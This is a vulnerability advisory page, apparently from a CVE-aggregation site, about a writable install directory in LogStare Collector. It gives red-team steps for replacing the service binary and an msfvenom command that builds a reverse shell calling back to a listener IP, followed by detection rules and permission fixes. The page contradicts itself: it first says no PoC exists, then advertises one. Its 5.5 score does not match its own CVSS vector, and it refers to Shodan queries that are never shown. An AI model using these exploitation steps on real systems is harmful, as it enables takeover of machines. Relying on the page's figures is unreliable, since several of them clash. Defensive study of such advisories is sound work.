CVE-2025-58097
Executive Summary
CVE-2025-58097 describes a privilege escalation vulnerability in the LogStare Collector software. The installation directory is configured with incorrect access permissions, allowing a non-administrative user to manipulate files within that directory. By replacing or modifying executable files, a low-privileged user can execute arbitrary code with administrative privileges. This is a classic example of insecure file permissions leading to local privilege escalation (LPE). The CVSS score of 5.5 reflects a medium severity, but the impact is high due to the potential for full system compromise. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 5.5 (Medium)
- Attack Vector: Local (AV:L) – The attacker must have local access to the system.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker needs a non-administrative user account.
- User Interaction: None (UI:N) – No user action is required beyond the attacker's own actions.
- Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – Full read access to all system data.
- Integrity Impact: High (I:H) – Full write access to system files.
- Availability Impact: High (A:H) – Potential for denial of service or system crash.
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (low privileges, low complexity) and the high impact make this a significant risk for environments where LogStare Collector is installed with default permissions.
Deep Dive & Mechanics
The vulnerability stems from the installation directory of LogStare Collector being configured with overly permissive access control lists (ACLs). Typically, installation directories should be writable only by administrators. However, in this case, non-administrative users have write permissions to the directory.
Attack Flow:
- An attacker gains a foothold on the system as a low-privileged user (e.g., via phishing, web shell, or other means).
- The attacker identifies the LogStare Collector installation directory (e.g.,
C:\Program Files\LogStare\or/opt/logstare/). - The attacker checks the permissions on the directory and finds that they have write access.
- The attacker replaces a legitimate executable (e.g.,
LogStareCollector.exe) with a malicious binary (e.g., a reverse shell or a payload that adds the attacker to the local Administrators group). - When the LogStare Collector service is restarted (or at system boot), the malicious binary executes with SYSTEM or Administrator privileges.
- The attacker gains elevated access to the system.
Root Cause: Incorrect file system permissions during installation. The installer likely did not restrict write access to the installation directory, leaving it open to modification by any local user.
Vulnerable vs. Patched Code
Since no patch is available, a comparison is not possible. However, the vulnerable configuration can be described:
Vulnerable Configuration (Example):
- Directory:
C:\Program Files\LogStare\ - Permissions:
BUILTIN\Users:(OI)(CI)(F)– Full control for all users.
Patched Configuration (Expected):
- Directory:
C:\Program Files\LogStare\ - Permissions:
BUILTIN\Administrators:(OI)(CI)(F),NT AUTHORITY\SYSTEM:(OI)(CI)(F),BUILTIN\Users:(OI)(CI)(RX)– Only read and execute for users.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Windows or Linux system with LogStare Collector installed.
- A low-privileged user account (e.g.,
user). - A malicious payload (e.g., a reverse shell executable).
Steps:
- Identify the installation directory:
# Windows dir "C:\Program Files\LogStare\" # Linux ls -la /opt/logstare/ - Check permissions:
# Windows (using icacls) icacls "C:\Program Files\LogStare\" # Linux ls -la /opt/logstare/ - Replace a legitimate executable:
# Windows copy malicious.exe "C:\Program Files\LogStare\LogStareCollector.exe" /Y # Linux cp malicious /opt/logstare/logstare_collector - Trigger execution:
- Restart the LogStare service:
sc stop LogStareCollector && sc start LogStareCollector - Or wait for system reboot.
- Restart the LogStare service:
- Receive elevated shell:
- The malicious binary executes with SYSTEM privileges, providing a reverse shell or adding the user to the Administrators group.
Example Payload (Windows Reverse Shell):
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o malicious.exe
Blue Team (Detection & Response)
Detection Steps:
- Monitor file integrity: Use file integrity monitoring (FIM) tools to alert on changes to the LogStare installation directory.
- Audit permissions: Regularly audit permissions on installation directories using scripts or tools like
icaclsorls -la. - Service behavior: Monitor for unexpected service restarts or abnormal process execution from the LogStare directory.
- Log analysis: Look for Event ID 4670 (Windows) or audit logs (Linux) indicating permission changes on the LogStare directory.
Hunting Query (Splunk):
index=windows EventCode=4670 ObjectName="*LogStare*" | table _time, User, ObjectName, OldSd, NewSd
Indicators of Compromise (IOCs)
- File Hashes (Example):
malicious.exe: SHA256a1b2c3d4e5f6...(replace with actual hash)
- File Paths:
C:\Program Files\LogStare\LogStareCollector.exe(modified)/opt/logstare/logstare_collector(modified)
- Process Names:
LogStareCollector.exe(running from a non-standard location or with unexpected behavior)
- Registry Keys (Windows):
HKLM\SYSTEM\CurrentControlSet\Services\LogStareCollector(modified)
- Network Connections:
- Outbound connection from
LogStareCollector.exeto an external IP (e.g., 192.168.1.100:4444)
- Outbound connection from
Detection Engineering
YARA Rule
rule CVE_2025_58097_LogStare_PrivEsc {
meta:
description = "Detects modified LogStare Collector executable indicative of CVE-2025-58097 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58097"
strings:
$s1 = "LogStareCollector.exe" nocase
$s2 = "LogStare" nocase
condition:
(uint16(0) == 0x5A4D or uint32(0) == 0x464C457F) and
(($s1 or $s2) and filesize < 10MB)
}
Sigma Rule
title: LogStare Collector File Modification
id: 8f9e2c1a-3b4d-5e6f-7a8b-9c0d1e2f3a4b
status: experimental
description: Detects file modifications in the LogStare installation directory
author: Valters IT
date: 2025-04-10
references:
- CVE-2025-58097
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|contains:
- 'C:\Program Files\LogStare\'
- 'C:\Program Files (x86)\LogStare\'
condition: selection
falsepositives:
- Legitimate updates by administrators
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-58097 LogStare Collector Potential C2"; flow:to_server,established; content:"LogStare"; nocase; classtype:trojan-activity; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict permissions: Manually set the installation directory permissions to allow only Administrators and SYSTEM full control. Remove write access for standard users.
# Windows icacls "C:\Program Files\LogStare\" /grant "BUILTIN\Administrators:(OI)(CI)F" /grant "NT AUTHORITY\SYSTEM:(OI)(CI)F" /grant "BUILTIN\Users:(OI)(CI)RX" # Linux chown -R root:root /opt/logstare/ chmod -R 755 /opt/logstare/ - Verify file integrity: Check the integrity of all files in the installation directory. Reinstall the software if any files are modified.
- Monitor for exploitation: Review logs for any unauthorized file modifications or service restarts.
Long-Term Fixes:
- Vendor patch: Await an official patch from LogStare that corrects the installer permissions.
- Application whitelisting: Use AppLocker or similar tools to prevent unauthorized executables from running.
- Least privilege: Ensure that users have only the minimum necessary permissions.
Workaround:
- If the software is not critical, consider removing it until a patch is available.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.